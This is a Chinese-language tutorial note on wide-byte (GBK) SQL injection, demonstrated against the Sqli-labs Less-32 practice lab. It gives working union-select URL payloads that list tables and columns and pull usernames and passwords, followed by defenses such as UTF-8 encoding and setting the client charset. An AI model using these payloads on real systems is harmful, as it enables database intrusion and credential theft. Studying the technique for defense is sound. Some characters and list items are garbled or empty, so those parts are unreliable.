SQL注入笔记 08#

sql宽字节注入

什么是宽字节?

ASCII字符和Unicode字符,前者占一个字节,后者占两个字节。

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些常说的宽字节,实际上为两字节。

##宽字节注入原理

www.example.com/?id=-0’ union select 1,2,(select database()),4,5,6,7,8,9–+

防御:将’转换成'

绕过:将\消灭

我们把绕过注入的这一个过程称为宽字节注入。

Sqli-labs-less32下实验演示

此时我们构造成两个字节使它成为一个GBK格式的字符。

发现MYSQL报错此时已经可以注入了。

后面的注入方法和联合注入是一样的。就是前面要把\给过滤掉。


    


    获取表:      http://127.0.0.1/sqli-labs-master/Less-32/?id=-1ß'  union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
    获取列:      http://127.0.0.1/sqli-labs-master/Less-32/?id=-1ß'  union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)--+
    获取用户数据:http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df'  union select 1,2,(select  group_concat(username,0x7e,password) from users)--+

    

1.

2.

3.

4. 使用mysql_ real_ escape_string进行转义时需要使用mysql _ charset(‘gbk’,$conn);

防范:##

1.使用utf-8,避免宽字节注入

不仅是gbk,韩文,日文都是宽字节,都有可能存在宽字节注入漏洞。

2.mysql_ real_ escape_string,mysql _ charset(‘gbk’,$conn);

3.可以设置参数,character_set _ client=binary

赞 赏